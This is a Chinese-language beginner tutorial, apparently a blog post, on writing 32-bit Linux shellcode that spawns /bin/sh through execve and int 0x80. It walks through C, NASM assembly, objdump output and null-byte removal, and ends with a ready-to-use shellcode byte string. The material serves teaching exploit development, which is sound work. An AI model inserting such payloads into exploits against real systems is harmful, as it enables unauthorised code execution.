0x00 前言
漏洞利用中必不可缺的部分就是shellcode,不會編寫shellcode和咸魚有什么區別,跳出咸魚第一步。
0x01 系統調用
通過系統調用execve函數返回shell
C語言實現:
#include<unistd.h> #include<stdlib.h> char *buf [] = {"/bin/sh",NULL}; void main { execve("/bin/sh",buf,0); exit(0); }
execve函數在父進程中fork一個子進程,在子進程中調用exec函數啟動新的程序。execve()用來執行第一參數字符串所代表的文件路徑,第二個參數是利用指針數組來傳遞給執行文件,並且需要以空指針(NULL)結束,最后一個參數則為傳遞給執行文件的新環境變量數組。從程序中可以看出,如果通過C語言調用execve來返回shell的話,首先需要引入相應的頭文件,然后在主函數中調用系統調用函數execve;同時傳入三個參數。
編譯運行,獲得shell:
elvirangel@elvirangel-virtual-machine:~/DIY$ ./shellcode $ whoami elvirangel
32位linux內核的系統調用表可以通過http://syscalls.kernelgrok.com/網站來查詢,我們這里獲得shell只需用到execve函數

這里execve函數系統調用號為11,圖中也給出了對應寄存器中保存的參數值
0x02 匯編形式編寫shellcode
1. Int 0x80軟中斷
int 0x80軟中斷是系統中斷,根據中斷號和相關寄存器設置調用對應系統函數
2. 開始編寫shellcode
global _start _start: mov eax,0 ;eax置0 mov edx,0 ;edx置0 push edx push "/sh" push "/bin" ;將/bin/sh存入棧中 mov ebx,esp ;ebx指向/bin/sh字符串 xor eax,eax mov al,0Bh ;eax置為execve函數中斷號 int 80h
保存為shellcode.asm,通過編譯鏈接,然后運行,獲得shell
elvirangel@elvirangel-virtual-machine:~/DIY$ nasm -f elf32 shellcode.asm elvirangel@elvirangel-virtual-machine:~/DIY$ ld -m elf_i386 -o shellcode shellcode.o elvirangel@elvirangel-virtual-machine:~/DIY$ ./001 $ whoami
elvirangel
獲得機器碼
$ objdump -d shellcode shellcode: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: b8 00 00 00 00 mov $0x0,%eax 8048065: ba 00 00 00 00 mov $0x0,%edx 804806a: 52 push %edx 804806b: 68 2f 73 68 00 push $0x68732f 8048070: 68 2f 62 69 6e push $0x6e69622f 8048075: 89 e3 mov %esp,%ebx 8048077: 31 c0 xor %eax,%eax 8048079: b0 0b mov $0xb,%al 804807b: cd 80 int $0x80
發現機器碼中有許多/x00字節,shellcode中存在/x00字節在進行利用的時候會被截斷,所以我們要避免出現/x00字節,重新修改我們的匯編程序
global _start _start: xor ecx,ecx xor edx,edx push edx push "//sh" push "/bin" mov ebx,esp xor eax,eax mov al,0Bh int 80h
編譯鏈接運行,得到機器碼
$ objdump -d ./shellcode ./shellcode: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c9 xor %ecx,%ecx 8048062: 31 d2 xor %edx,%edx 8048064: 52 push %edx 8048065: 68 2f 2f 73 68 push $0x68732f2f 804806a: 68 2f 62 69 6e push $0x6e69622f 804806f: 89 e3 mov %esp,%ebx 8048071: 31 c0 xor %eax,%eax 8048073: b0 0b mov $0xb,%al 8048075: cd 80 int $0x80
沒有出現/x00字節,得到最終的 shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
0x03 后記
剛接觸,很多細節沒有討論,詳情請看參考鏈接
